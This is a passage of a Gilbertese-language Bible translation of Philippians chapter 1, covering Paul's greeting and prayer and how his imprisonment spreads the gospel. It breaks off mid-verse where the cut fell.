Jesús bamakëxa.\nUsa ‘ain ka Curuznua Jesús nampaxun, sabananën rabuxun kininu naxun, maxaxan xëpuakëxa.\nSabado ‘ión, domingo pëkarakëbë ka xanu rabë anua mainkë isi kuankëxa. Usa ‘ain ka me kushira ángel ukëbë shaikiakëxa, maxá rakana anu ángel tsókë ‘iakëxa. Angelnën ka xanukama kakëxa: “Rakuëama ka ik”\n\nJesús ka ënuma ‘ikë ka baiskiaxa. Kuantankëxun kamina aín unikama kai kuanti ‘ain Galileanu ka kuania. Anuxun ka mërati 'ikën.\nUsa ‘ain ka Jesusan unikama Galileanu kuankëxa anuxun ka mërakin rabiakëxa. Jesusan ka kakëxa: “Diosan ka aín kushi ‘ë 'inanxa nainu ‘imainun menu.\n\nUsa ‘ain kamina kuanxun unikama bëtsi bëtsi menu kuankin nashimikin ‘ën Papa anë, ‘ën anë, ‘ën Bëruñunshin anun uni nashimikin ‘unamikin ‘ë rabinu ‘ën mi ‘unamikë akama 'unamiti ‘ain. Min kamina ‘unánti ‘ain ënë nëtë këñutamainu kana mikamabë ‘iti ‘ain.\nËsokin katankëx ka Jesús naikamë ‘ëonu aín Papa mëkëu tsoti kuankëxa.\nËnëx ka Jesús bamatankëx baiskia bana ‘ikën.","num_words":216,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.203,"stopwords_ratio":0.12,"flagged_words_ratio":0.0,"lang_id_score":0.99,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"silbloomlm","source":"BLOOM Library","original_code":"cbr","text":"Nukën iwu Diosan kamawi ñu unio wana Usai ikëwëtan ka Diosan nëtë imainun ñanta imiakëxä. Usai ‘ia ka pëkikë a nëtë kakin anëakëxä, anëanan ka wëánkiwukë a imë kakin anëakëxä. Usäkin akë an ka achuí nëtë iakëxä.\nUsa ‘aín ka Diosan kamawi ñu uniokëxä: Usa ‘aín ka naí imainun më‘ëskikë, parunpapa, wasi axä wimikë , nikama ariwia tuakë imainun wari, uxë, ëspa kama, anan kamawi wakanu ‘ikë ñuina kama, imainun ñuina pëchiñu kamawi imainun ninu ‘ikë akëxä. Kamawi usaki akin ka Diosan mëkën achuí imainun achui nëtë ënë kama sënëonkëxä.\nMëkën achuí imainun achui nëtën axün ka Diosan upi isakëxä, isika kiakëxä, wëri kananuna uni nukë sariwi inun ati ‘ain.\n\nËsai kitankëxun ka më unitanki axün ‘ain rëkinu rëxün kakën uni iakëxä. Usäkin uni atankëxün ka Diosan kamawi axä wimikë ‘i kama ‘ain wimi piti imiakëxä. Diosan ka uni më upíra anu ‘i wimi a piti anu ëankëxa. Ën kin ka kakëxa anu ka achui ‘i wimi a piti ‘imainun api uchati ‘i wimi ikën api kamina wamati ‘ain.\nUsä ain ka Dios kiakëxä, “Uní achuita ‘iti ka ‘aisäma ìkën; usä ‘ain kana awëa rawëti xänu ati ‘ain”.Kitankëxün ka Diosan kamawi ñuina uninu an ‘ain anë nanun wëakëxá, ‘aínwi ka a ñuinakama achui án uni ‘akinsäma ‘iakëxä. Usa ‘ain ka Diosan upiti üxtanu uni üxmia këxä üxmixün ka ‘ain putu achui wiakëxa.\nWixunka ‘aín putu awi xänu atankëxün uni inankëxä. Inankë ka uni kuëëankëxä kuëni, ka kiakëxa ¡Ënënka ‘ën namiwi ‘anan ‘ën xowi ‘akë ikën!\nUsä ‘ain ka unín ‘ain papa imainun ‘ain tita xänu wikin rawëta achuisa ‘ikën ënia. Uni imainun xänu ka rawëta chupañuma aiwi rawin ñuma iakëxä.\n\nDiosan ka a ëskësawi itanun uni uniokëxä, usakin ka Diosan uni akëxä, uni anan ka xanuriwi akëxä, atankëxün ka upiokin sinanxüankëxa ësaki kakin: “ Wëchipati kaikamë ëokin kamina më sisiruti ‘aín, anan kamina anu ikë ñukama wëruanti ‘ain.”\nDiosan uniotankëxün ëskëwi ka an akë ñukama upira iakëxä. Ësokin ñukama akin ka Diosan mëkën achui imainun achui nëtën akëxä.\n\nDios ka mëkën achui imainun rabë nëtë anun ‘aín ñu mëëti atankë tantiakëxä. Mëkën achui imainu rawë nëtë a ka upiokin sinanxunkin upira nëtë kakëxä, a nëtën ka tantiakëxä. Ësokin ka nai imainun me akin sënëonkëxä.","num_words":362,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.169,"flagged_words_ratio":0.0,"lang_id_score":0.991,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"silbloomlm","source":"BLOOM Library","original_code":"cbr","text":"Diosan David kaisa A bari ka Israelmi achushi ëma filisteo ninkë ia këxa. A ëma ka Israel unibu abë a kananti ka këxa, usa ai ka a suntaru chaka rabë ninu ia këxa.A suntaru Filisteo nuax ka achushi uni a kananti unaira 3 metros chaxkë uni Goliatnë ka Israelnën sutaro munuma ka këxa:\n“¡Achushi uni kamina bariti ai ëbëa akananun! A nukë kanan këx kana nux an tëmikë iti ‘ai. Ën kanan këbë kamina ë uni iti aí.\nKamabi Israel suntaru ka rakuëakëxa. Achushi nëtën ka David ain xukën piti baxuni kuan këxa.\nDavidnën ka Goliat Israel suntaru mi kuai abë akanan kasi kia kuakëxa .\nDavid ka Israel apubë bana ki ka këxa: “ën papa oveja bëruaia ka Diosan ë akia këxa inuan ë bitima imainu xaëonën ¨bitima kupi akia këxa, usa ribiokin ka filisteo më kënua ë akinti ikën. Usa ‘ain ka Goliat bë akanani imaxu imainu mëkën tupo maxa sibua baka nua bia këxa.\nDavidnën ka ain shënkatinu aruxu maxa niki Goliat ain bë mananu a këxa. Goliat ka ni pa këa këxa ain bë mananë menu pakëa këxa, ain masibu nëbi ka Davidta Goliat tëbis ka këxa.\nUsa ki atankë ka David akanankë unira ia këxa usa ixun ka akananki kamabi suntaru Diosan akinkë kupi kanan këxa, ai ka unin upi isa këxa.\nItsa bari inua aika Diosan kasabi oi David Israel apu ia këxa. Diosan ka Davidnu ain uni achushi Natan ka kë xua këxa: Ësa kin katanu ën kana mi oveja bëruantinua chikia, mi mi ë unikama Israel apu inu.\nËn kana a mi bë akanan uni kama, imainu kamabi uni unanti. Ai kana mi unami mi rëunki nuribi ka apu iti ikë, mi unikama ka usabi tsoti ikën kamabi nëtë.\nËnë bana kuaki ka Davidta Diosan ka këxu rabia këxa : “Dios min kamina kia mi uni kama upi iti ikën, ain rëunki kama ribi kamabi upi iti ikën kamabi nëtë.\n\nËnë bana xka Diosan usa ia David apu itia kia ikën.","num_words":326,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.129,"flagged_words_ratio":0.0,"lang_id_score":0.983,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"silbloomlm","source":"BLOOM Library","original_code":"cbr","text":"Diosan Abraham kaisa A uni achushi nua ka Diosan uni achushi anuaxa ‘ain uni kama chikiti biakëxa. Ax ka Abraham ia këxa.\n\nAbraham ka 75 baritiañu ikë Diosan kakëxa: “Min ëma ëanan kamina mi aintsi kama ënti ‘aín. Me achushi kana ën mi ismiti ‘aín”.\nMi kana chaira imianan itsa ira imiti ‘aín.\nMi kana kamabi unia unankë inu imiti ‘ain, mi kupia 'uni kamaribi upitax tsonun, imainun ka kamabi mënu ikë uni upitax tsoti ikën.\nAbraham ka Diosan kakësabioi kuankëxa. Kuankin ka ‘ain xanu Sara, ‘ain piaka imainu kamabi aín ñu uankëxa.\n\nKuanx ka Diosan ismikë mënu nukuakëxa. A me unani ni tankëxka anu tsoakëxa.\nUsa aín ka Diosan ami mërakin kakëxa: “Ënë me kana minrëbunki inanti ain kakëxun ka.\n\nAbrahamnën maxa bukunxu Dios min ë kakë kupi kana mi asabika kixun kai kakëxa.\nAbraham imainun Sara ka kaniakë kë iakëxa, rabë taxbi ka xënira ia këxa usa ain ka tuañuma iakëxa, usa ikëbi ka Diosan kakëxa: Nai iskin kamina ispa tupunti ‘aín, min tupuntisa kara kixun.\nMin rëbunkinëx ka ispasaribi itsaira iti ikën.\nAbrahamnën ka Dios mi sinankëxa, usa ‘ain ka Diosan Abraham ka upi sinañu ianan upira ikë kixun isakëxa.\nUsakin kakë itsa baritia ‘ain, ka Sara tuñu iakëxa ixun ka, bëbu tua achushi Abraham axuankëxa 100 baritiañu ikë.\n ‘Aín tua Saramia akë ‘aka Abrahamnën Isaac kakin anëakëxa.\nA nëtën kama inukë ain ka, Diosan Abraham aserabi kara ami katamëtia kixun tankëxa.\n\nDiosan ka kakëxa: Isaac min bëchikë achushi ami kuëinrakë ‘a kamina bëti aín, ën mi kakë ninu buanxun xaroti ‘aín.\nPëkara këbëtanka Abrahamnën niruxun karu anuxun xaroti mëniokëxa, anuax ka Isaac bë kuankëxa imainu rabë ‘ain unibë ‘anu kuanua Diosan kakënu kuankëxa.\nRabë imainu achushi nëtë 'aín kuanxun ka Abrahamnën uranxu isakëxa ‘anu kuanti iskin ka ‘ain uni: “ënu ka tiki kakëxa. Isaac imainu ëx kana urinxun Dios rabi kuanin, anua kana utëkëni kuanin”. \nAbrahamnën ka karu biakëxa ‘anu xaroti, bixun ka Isaac pëñanu aruakëxa; Arunxu ka manë xëtokë bianan tsi bibiani abë kuankëxa.\nBasi mashi ka Isaacnën Abraham kakëxa: “Papan, karu imainu tsi ka ‘anu ‘ikën, aibika ¿carnero axaroti ‘ai ma ikën? Kia ka Abrahamnën kakëxa: Diosan ka anu xaroti carnero nu inanti ikën kixun kakëxa.”\nUsa ‘ain ka rabë taxbi kuankëxa. ‘Anu Diosan kuanun kakë anu nukuxun, ka Abrahamnën maxa bukunxun karu nankëxa; anunxu ka ‘ain bëchikë Isaac mënu nixun aruakëxa;\naruxuan manë xëtokë bikinbi ka nainua kia kuakëxa: “¡Abraham, Abraham!”\n\nAbrahamnën kia kakëxa ënu kana ‘ain.\nUsai kia ka kakëxa: ¡axunma ka ‘a! Min bëchikë kamina atima otima ‘ain, bëri kana unanin mix kamina ëmira sinan anan ë nuibati min Dios kupi, usa ixun kamina ë rakuëkima mi bëchikë axunti ‘aín.\nAnuxun ka Abrahamnën manami okin isakëxa iskin ka achushi carnero innu tëkërëkakë isakëxa. Usa ‘aín kuanxun ka carnero bixun ain bëchikë Isaac akin ma ‘a xarokëxa.\nAbraham ka anua ‘ain uni ëbiankë anubi uakëxa anuax ka abë kuankëxa ‘ain xubunu.\nËnëx ka Diosan Abraham uisai kara ami sinania kixun tan bana ikën.","num_words":489,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.211,"stopwords_ratio":0.137,"flagged_words_ratio":0.0,"lang_id_score":0.996,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"silbloomlm","source":"BLOOM Library","original_code":"cbr","text":"Jesús bakëan ñuikë bana Josenën ka ënti sinankëxa ainbi ka ángel achushinën namamikin kakëxa: “Jose Davidtan rëbunki , María bitimi rakuëama ka ik, ‘ain tua ñuitsikë ax ka Diosan bëru ñunshinan imikë ikën.\nBakënia kamina min a tuá Jesús kakin anëti ‘ain, ainshi ka uni ‘ain ‘ucha tërënkin iëmiti ikën.”\n\nNamati bësukin ka Josénën ángelnën kakësabiokin María biakëxa. ‘Ainbi ka abë iama ikën ‘ain tua bakënti itamainun.\nAín uxë inukëbë ka Jesús Belénuax bakëankëxa. Usa ikë mëkën achushi imainun rabë nëtë ianan achushi ‘ain ka Jesús kakin anëakëxa, ángelnën kakësabiokin.\n41 nëte inukëbëtan ka Jesús Jerusalénu bankëxa anuxun Dios rabitinu. Anua Diosbë banati xubunu bëbakin ka anua achushi uni Simeón ka kë a mërakëxa.\n\nA unin ka Jesús ikukin ‘ain pëñanu bikin, Dios rabi kiakëxa : Bëri kana asabi bamati ‘ain an uni iëmiti a kana ën bërunbi isa, kamabi menu ikën unikamaribi isti ikën. An ka kamabi menu ikë uni pëkati ikën ”.\nJesusan papa imainun ‘ain tita ka ësai ënë uni kia kuati ratuakëxa. Ënë unin ka aturibi ka upiokin sinanxuankëxa ësokin kamabi atankëx ka ‘ain menubi kuantëkëankëxa.\n\nJesús ka xu aish kushi inun kaniakëxa. Usa ‘ain sinañuira inun kania Diosan upiokin sinanxunkë iakëxa.\nËnëx ka Jesús bakëan ñuikë bana ikën.\nJesús bakëan ñuikë bana","num_words":203,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.198,"stopwords_ratio":0.153,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} diff --git a/cbr_Latn/mala_000002_remove.jsonl b/cbr_Latn/mala_000002_remove.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..eba063fb3866691a1255f2ef8196d681453ce9bd --- /dev/null +++ b/cbr_Latn/mala_000002_remove.jsonl @@ -0,0 +1,3 @@ +{"url":"","collection":"silbloomlm","source":"BLOOM Library","original_code":"cbr","text":"Uni ‘itawati ‘ucha Aiwi ka runun xänu kakëxä: —Aserawima ka a ‘ikën. Kamina wamatima ‘ain. Diosan ka unania min awimi pikin kamina unanti ‘ain, uisa ñukara asawi ikë kixün unanan uisa ñukara aisama ikë kixün unanti ‘ain, usa ai kamina Diosariwi iti ‘ain\n\nXänunka i wimi upira isakëxä, ëskin ka, pisa tankëxä, api sinañuira isa ëskin ka.\nIn wimi wikin piakëxä. Pikin ka ‘ain wënëriwi inankëxä inankëxün anriwi piakëxä.\n\nPikinwi ka a rawëxünwi chupañuma kananuna ‘ai kixün sinánkëxä. Usai ikin ka higuera kakë in pëchi wixün xëotankë ka anun sitanikiakëxä.\nA nëtë ñantaukëwëta ka nukë wënë ‘imainun xänun Nukën ‘Iwu Dios wari kuawu këwëa suñu wëkikëwëa, më upíra anu nisia kuakëxä, kuatika awakia më upíra nëwësi ninu asiankëxä.\n\n‘Ainwi ka Diosan uni kuëankëxä: — ¿Adán, Adán, uinu kaina ‘ain? Kakëxün ka unin kakëxä: — Mi kana më upíra nëwësi nisia kuan kuati kana rakuëan, chupañuma ‘ai.\nKia ka Diosan ñukakëxä: — ¿Uin kara chupañuma kamina ‘ai kixün mi ka? ¿A pixüma ‘anun mi kakë in wimi karamina pian? Kakëxün ka unin kakëxä: — Minmi awë ‘inun ‘ë ‘inánkë xänu ënën ka in wimi ‘ë ‘inánxä, ‘inánkëxün kana pian. Kakëxün ka Nukën ‘Iwu Diosan xänu ñukákëxä: — ¿A ñukaina an? Kakëxünka xänun kakëxä: — Runun parankëxün kana pian. (In wimi a pítima ‘a)\nUsa ‘ain ka Diosan runu kakëxä: — Min kamina ësokin ñu an usa ai kamina rairi ñuina kamasama iti ‘ain, min ikanëin niriti kamina ninuxün ‘ain imainun kamina më putuin pinuxün ‘ain.\n\n‘Ën kana minmi xänuwë niñananun ‘imiti ‘ain, usariwiti ka min rëwunki imainun xänun rëwunkiriwi iti ‘ikën. Min kamina ‘ain taë siputunu natëxnuxün ‘ain, ainwika ‘ain rëwunkinën min mapuxönu mi chakanuxün ain.\nDiosan ka xänu kakëxä— ‘Ën kana túimi chaiira paë tani wakënun imiti ‘ain, paën kamina wakënuxün ‘ain. Ainwi kamina usai iwi min wënëwë ‘inuxün ‘ain, ‘ianan kamina, an kakësawiokin ‘ati ‘ain.\nDiosan ka uni kakëxä:— Min xänua kakëxün kuakin kamina in wimi pixüma ‘anun kakë a pia, wëri ka min usökin ‘akë kupin ka më ‘aisama ‘iti ikën; mënu ñu ‘apáti min wëmananu nichakin ñu ‘apaxün kamina anun min wamati nëtë ‘itámainun ñu pinuxün ‘ain, më putu kamina ‘ain usa ‘ai kamina më putu ‘itëkënti ‘ain.\nDiosan ka ñuina xäká chupa ‘atankëxün uni ‘imainun xänu pañunun ‘inankëxä, ‘inani ka kiakëxä : “Wërí ka uni ‘imainun xänu uni nukësariwi ‘ikën, ka ‘unanía añu kara upi ‘ikën añu kara upima ‘ikën kixün unania. Usa ‘ain kamina a pi wamati ma oi sóti in wimi ariwima xëniwua ‘aínwi sónuxün pia wërúanti ‘ain.” Usa ‘ain ka Diosan naësa Edén kakë anua uni chikiankëxä, chikinxün ka ñu mëi an uniokë mënu inun ëankëxä.\nDiosan ka chikiankëxä; anunxün ka ángel kama manë xëtokë achui si rëkirukësa nankëxä an wai anun kuantima okin wëruanun. \n\nAdán imainun Eva ka uinsaranwi anu kuantëkëanma ‘ikën.\n\nËnë wana ka uisakin kara unin itawakin Diosan kakëxün kuaisama tankëxä kixün ‘akë ‘ikën.","num_words":466,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.146,"flagged_words_ratio":0.0,"lang_id_score":0.905,"perplexity_score":500.0,"cluster_detection":-1} +{"url":"","collection":"silbloomlm","source":"BLOOM Library","original_code":"cbr","text":"Nukën ibu Diosan kamabi ñu unio bana1 Usai ikëbëtan ka Diosan nëtë imainun ñantan imiakëxa. Usai ‘ia ka pëkikë a nëtë kakin anëakëxa, anëanan ka bëánkibukë a imë kakin anëakëxa. Usakin akë ax ka achushi nëtë iakëxa.\nUsa ‘ain ka Diosan kamabi ñu uniokëxa: Usa ‘aín ka naí imainun më ‘ëskikë, parunpapa, basi axa bimikë, nikama aribi tuakë imainun bari, uxë, ispa kama, anan kamabi bakanu ‘ikë ñuina kama, imainun ñuina pëchiñu kamabi imainun ninu ‘ikë akëxa. \n\nKamabi usaki akin ka Diosan mëkën achushi imainun achushi nëtë ënë kama sënëonkëxa.\nMëkën achushi imainun achushi nëtën axun ka Diosan upi isakëxa, isika kiakëxa, bëri kananuna uni nu iskësaribi anan nu saribi inun ati ‘ain.\n\nËsai kitankëxun ka më unitanki axun ‘ain rëkinu rëxun kakëx uni iakëxa. Usakin uni atankëxun ka Diosan kamabi axa bimikë ‘i kama ‘ain bimi piti imiakëxa. Diosan ka uni më upíra anu ‘i bimi a piti anu ëankëxa. Ën kin ka kakëxa anu ka achushi ‘i bimi a piti ‘imainun api uchati ‘i bimi ikën api kamina bamati ‘ain.\nUsa ain ka Dios kiakëxa, “Uní achushi ‘iti ka ‘aisama ìkën; usa ‘ain kana abëa rabëti xanu ati ‘ain”. Kitankëxun ka Diosan kamabi ñuina uninu an ‘ain anë nanun bëakëxa, ‘aínbi ka a ñuinakama achúshibi an uni ‘akinsama ‘iakëxa. Usa ‘ain ka Diosan upiti uxtanu uni uxmia këxa uxmixun ka ‘ain putu achushi biakëxa.\n\nBixunka ‘aín putu abi xanu atankëxun uni inankëxa. Inankëx ka uni kuëëankëxa kuëni ka kiakëxa ¡Ënëx ka ‘ën namibi ‘anan ‘ën xobi ‘akë ikën!\nUsa ‘ain ka unin ‘ain papa imainun ‘ain tita xanu bikin rabëtax achushisa ‘ikën ënia. Uni imainun xanux ka rabëtax chupañuma aishbi rabin ñuma iakëxa.\n\nDiosan ka a iskësabi itanun uni uniokëxa, usakin ka Diosan uni akëxa, uni anan ka xanuribi akëxa, atankëxun ka upiokin sinanxuankëxa ësaki kakin: “bëchipati kaikamë ëokin kamina më tsitsiruti ‘aín, anan kamina anu ikë ñukama bëruanti ‘ain.”\nDiosan uniotankëxun iskëxbi ka an akë ñukama upira iakëxa. Ësokin ñukama akin ka Diosan mëkën achushi imainun achushi nëtën akëxa.\n\nDios ka mëkën achushi imainun rabë nëtë anun ‘aín ñu mëëti atankëx tantiakëxa. Mëkën achushi imainu rabë nëtë a ka upiokin sinanxunkin upira nëtë kakëxä, a nëtën ka tantiakëxa. Ësokin ka nai imainun me akin sënëonkëxa.","num_words":368,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.182,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":-1} +{"url":"","collection":"silbloomlm","source":"BLOOM Library","original_code":"cbr","text":"Diosan Abraham kaisa - Copy A uni achui nua ka Diosan uni achui anuaxä ‘ain uni kama chikiti wiakëxa. An ka Abraham ia këxä.\n\nAbraham ka 75 waritiañu ikë Diosan kakëxä “Min ëma ‘ëanan kamina mi ainsi kama ënti ‘aín. Më achui kana ën mi ësmiti ‘aín”.\nMi kana chaira imianan isa ira imiti ‘aín.\n\nMi kana kamawi unia unankë inu imiti ‘ain, mi kupia uni kamariwi upita sonun, imainun ka kamawi mënu ikë uni upita soti ikën.\nAbraham ka Diosan kakësawi oi kuankëxä. Kuankin ka ‘ain xänu Sara, ‘ain piaka imainu kamawi ‘aín ñu uankëxä.\n\nKuan ka Diosan ësmikë mënu nukuakëxä. A më unani ni tankëka anu soakëxä.\nUsa ‘aín ka Diosan ami mërakin kakëxä:\n“Ënë me kana minrëwunki inanti ‘ain kakëxün ka.\n\nAbrahamnën maxä wukunxü Dios min ë kakë kupi kana mi asawika kixün kai kakëxä.\nAbraham imainun Sara ka kaniakë kë iakëxä, rawë tawi ka xënira ia këxä usa ain ka tuañuma iakëxä, usa ikëwi ka Diosan kakëxä: Nai ëskin kamina ëspa tupunti ‘aín, min tupunsisa kara kixün. Min rëwunkinën ka ëspasariwi isaira iti ikën.\nAbrahamnën ka Dios mi sinankëxä, usa ‘ain ka Diosan Abraham ka ‘upí sinañu ianan upira ikë kixün isakëxä.\nUsakin kakë isa waritia ‘ain, ka Sara tuñu iakëxa ixun ka, nukëwënë tua achui Abraham axuankëxä 100 waritiañu ikë.\n\n ‘Aín tua Saramia akë ‘aka Abrahamnën Isaac kakin anëakëxä.\nA nëtën kama inukë ‘ain ka, Diosan Abraham aserawi kara ‘ami katamëtia kixün tankëxä. Diosan ka kakëxä: Isaac min wëchikë achui ami kuëinrakë ‘a kamina wëti ‘aín, ën mi kakë ninu wanxün xäroti ‘ain.\nPëkara këwë tanka Abrahamnën niruxün karu anuxün xäroti mëniokëxä, anua ka Isaac wë kuankëxä imainu rawë ‘ain uniwë ‘anu kuanua Diosan kakënu kuankëxä.\nRawë imainu achui nëtë ‘aín kuanxün ka Abrahamnën uranxü isakëxä ‘anu kuanti ëskin ka ‘ain uni: “ënu ka tiki kakëxä. Isaac imainu ën kana urinxün Dios rawi kuanin, anua kana utëkëni kuanin”. \n\nAbrahamnën ka karu wiakëxä ‘anu xaroti, bixün ka Isaac pëñanu aruakëxä; Arunxü ka manë xëtokë wianan si wiwiani awë kuankëxä.\nWasi këma ‘aín ka Isaacnën Abraham kakëxä: “Papan, karu imainu si ka ‘anu ‘ikën, aiwika ¿carnero axäroti ñuma ikën? Kia ka Abrahamnën kakëxä: Diosan ka anu xäroti carnero nukë inanti ikën kixün kakëxä.”\n\nUsa ‘ain ka rawë tawi kuankëxä. ‘Anu Diosan kuanun kakë anu nukuxün, ka Abrahamnën maxä wukunxün karu nankëxä; anunxü ka ‘ain wëchikë Isaac mënu nixün aruakëxä;\nAruxüan manë xëtokë wikinchaioruki ka nainua kia kuakëxä: “¡Abraham, Abraham!”\nAbrahamnën kia kakëxä ënu kana ‘ain.\n\nUsai kia ka kakëxä: ¡axünma ka ‘a. Min wëchikë kamina atima otima ‘ain, wëri kana unanin min kamina ëmira sinan anan ë nuiwati min Dios kupi, usa ixün kamina ë rakuëkima mi wëchikë axünti ‘aín.\nAnuxün ka Abrahamnën manami okin isakëxä ëskin ka achui carnero innu tërëkakë isakëxä. Usa ‘aín kuanxün ka carnero wixün ain wëchikë Isaac akin ma ‘a xärokëxä.\nAbraham ka anua ‘ain uni ëwiankë anuwi uakëxä anua ka awë kuankëxä ‘ain xüwunu.\nËnën ka Diosan Abraham uisai kara ami sinania kixün tan wana ikën.","num_words":492,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.136,"flagged_words_ratio":0.0,"lang_id_score":0.849,"perplexity_score":500.0,"cluster_detection":-1} diff --git a/cbr_Latn/mala_000002_stas.jsonl b/cbr_Latn/mala_000002_stas.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..c73c94bf82b6c8e8aef15f6519571800a7453f0c --- /dev/null +++ b/cbr_Latn/mala_000002_stas.jsonl @@ -0,0 +1,115 @@ +[ + { + "avg": { + "num_words": 317.3333333333333, + "character_repetition_ratio": 0.06641666666666667, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.20933333333333337, + "stopwords_ratio": 0.13433333333333333, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.9695833333333334, + "perplexity_score": 500.0 + } + }, + { + "std": { + "num_words": 113.38822200250293, + "character_repetition_ratio": 0.010995895698951595, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.008701851654804405, + "stopwords_ratio": 0.025584283369982357, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.04579384662690926, + "perplexity_score": 0.0 + } + }, + { + "median": { + "num_words": 311.0, + "character_repetition_ratio": 0.0675, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.2085, + "stopwords_ratio": 0.1365, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.991, + "perplexity_score": 500.0 + } + }, + { + "max": { + "num_words": 492.0, + "character_repetition_ratio": 0.089, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.226, + "stopwords_ratio": 0.182, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "min": { + "num_words": 191.0, + "character_repetition_ratio": 0.049, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.198, + "stopwords_ratio": 0.087, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.849, + "perplexity_score": 500.0 + } + }, + { + "90%": { + "num_words": 486.7, + "character_repetition_ratio": 0.07579999999999999, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.2188, + "stopwords_ratio": 0.16740000000000002, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.9989, + "perplexity_score": 500.0 + } + }, + { + "75%": { + "num_words": 392.5, + "character_repetition_ratio": 0.0725, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.21625, + "stopwords_ratio": 0.14775, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.9964999999999999, + "perplexity_score": 500.0 + } + }, + { + "50%": { + "num_words": 311.0, + "character_repetition_ratio": 0.0675, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.2085, + "stopwords_ratio": 0.1365, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.991, + "perplexity_score": 500.0 + } + }, + { + "25%": { + "num_words": 203.75, + "character_repetition_ratio": 0.05975, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.20175, + "stopwords_ratio": 0.11775, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.97175, + "perplexity_score": 500.0 + } + }, + { + "total size": "12", + "keep size": "9", + "remove size": "3" + } +] \ No newline at end of file diff --git a/gil_Latn/fineweb-2_000001_keep.jsonl b/gil_Latn/fineweb-2_000001_keep.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..98df2c67d321c9843e65eddaa226ad0a0aa345f0 --- /dev/null +++ b/gil_Latn/fineweb-2_000001_keep.jsonl @@ -0,0 +1,2224 @@ +{"text":"1 Mai irouni Bwauro ma Timoteo, aika ana toro Kristo Iesu, nakoia ake a itiaki ni kabaneia, ake a nim ma Kristo Iesu, ake a mena i Biribi; ao nakoia naba ake mataniwi ma taani buobuoki: 2 Ami bwai te aakoaki ma te raoi mai iroun te Atua are Tamara ma te Uea are Iesu Kristo. 3 I katituaraoa Atuau n taai ni kabane aikai I uringngkami iai, 4 ao n taai ni kabane ake I tataro iai i bukimi ni kabane, ao I tataro ma te kimwaareirei, 5 ibukin aromi ni buokanibwai n te mwakuri ibukin te euangkerio man te bong are kam moa n ongo iai ni karokoa ngkai; 6 ao I koaua raoi n aei, bwa Teuare e moana te mwakuri ae e raoiroi i nanomi, E na boni waakina karaoana ni karokoa ae e tia n ana bong Kristo Iesu. 7 E bon riai reken te namakin aei irou i bukimi ni kabaneingkami, bwa kioina ngkai kam meemena i nanou. Bwa kam a tia ni bane ni buokanibwai ma ngai n te mwakuri are I anganaki iroun te Atua, n arou ngkai I kabaeaki ao ngke I kakaaitarai taeka aika a eekaanako te euangkerio, ma ni karina te euangkerio i nanoia aomata bwa e na tiku ni matoatoa. 8 Bwa au tia kakoaua te Atua, bwa I tangiringkami ni kabaneingkami n ai aron tangirami irouni Kristo Iesu. 9 Ao bon aei au tataro bwa e na ririki rake ni kabatiaaki ami tangira, n te aro n rabakau ma n atatai. 10 Bwa kam aonga ni konaa n rinei baika a moa n raraoi, ao kam na itiaki ma n aki kabuaakakaaki n te bong are E na roko iai Iesu, 11 ngkai a kaonaki maiumi ni baika a reitaki ma ana kaantaninga te Atua, aika baika mai iroun Iesu Kristo, are E neboaki te Atua iai ma ni karaoiroaki. 12 Taari, I tangiringkami bwa kam na atai bwaai aika a riki irou, bwa a riki bwa buokani waakin te euangkerio. 13 Ma ngaia ae e ataaki bukini kabaeakiu irouia tautia ni kabane n te Beritorium, ma aomata nako, bwa I kabureaki ibukini Kristo. 14 Ao e riki kabaeakiu bwa kakorakoraan aia kaantaninga mwaitiia taari n aroia n reitaki ma te Uea, ao a rikirake n rangi n ninikoria n taekina ana taeka te Atua. 15 Bon iai temwaangina aika a tataekina Kristo ibukin nanoia n nanonibwi ma ni kani kakauntaeka; ma iai naba tabemwaang aika a tataekinna ma nanoia ae e raoiroi; 16 a karaoa aei te koraki aikai ma te nano n tangira, ngkai a ataai bwa I a tia n rineaki bwa N na tei ibukin te euangkerio; 17 ao te koraki ake a kani kauntaeka a tataekina Kristo ma te nano ae e aki itiaki; ao a iangoia bwa a na kariki riki kaangaanga nako iu ngkai I kabaeaki. 18 Ao tera ngkanne? Te bwai ae e kakaawaki bwa E taekinaki Kristo n aaro nako, tao man te kaantaninga ae e aki raoiroi ke ae e raoiroi; ao I kimwarerei iai, eng, N na boni kimwaareirei. 19 Bwa I ataia bwa man ami 